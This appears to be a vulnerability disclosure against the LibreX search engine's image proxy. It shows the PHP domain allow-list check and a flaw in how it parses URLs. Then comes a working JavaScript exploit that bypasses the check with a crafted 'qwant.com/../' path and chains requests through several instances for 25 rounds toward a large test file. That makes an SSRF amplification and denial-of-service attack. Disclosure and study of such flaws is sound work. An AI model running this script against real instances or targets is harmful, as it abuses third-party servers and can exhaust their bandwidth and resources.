$url = $_REQUEST["url"]; 
 $requested_root_domain = get_root_domain($url); 
  
 $allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results)); 
  
 if (in_array($requested_root_domain, $allowed_domains)) 
 { 
   $image = $url; 
   $image_src = request($image); 
  
   header("Content-Type: image/png"); 
   echo $image_src;

 function get_root_domain($url) { 
     $split_url = explode("/", $url); 
     $base_url = $split_url[2]; 
  
     $base_url_main_split = explode(".", strrev($base_url)); 
     $root_domain = strrev($base_url_main_split[1]) . "." . strrev($base_url_main_split[0]); 
  
     return $root_domain; 
 }

const INSTANCES = [
  'https://librex.a.com/',
  'https://librex.b.com/',
  'https://librex.c.com/',
];
const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db';
const NUMBER_OF_ROUNDS = 25;
const NUMBER_OF_REQUESTS = 1;

function manipulatedUrlParam(url) {
  const u = new URL(url);
  return `${u.protocol}/${u.host}/qwant.com/../${u.pathname}${u.search}`;
}

function imageProxyUrl(instance, target) {
  const u = new URL("image_proxy.php", instance);
  u.search = new URLSearchParams({ url: manipulatedUrlParam(target) });
  // u.search = `?url=${manipulatedUrlParam(target)}`;
  return u.toString();
}

let chainedUrl = FINAL_TARGET;
for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) {
  chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl);
}
console.log(chainedUrl);

for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) {
  console.time(`fetch ${i}`);
  fetch(chainedUrl).then((res) => {
    console.timeEnd(`fetch ${i}`);
    console.log(`${res.status}: ${res.statusText}`);
    console.log(`Content-Type: ${res.headers.get('Content-Type')}`);
    // res.text().then((t) => console.log(`Body Length: ${t.length}`));
  });
}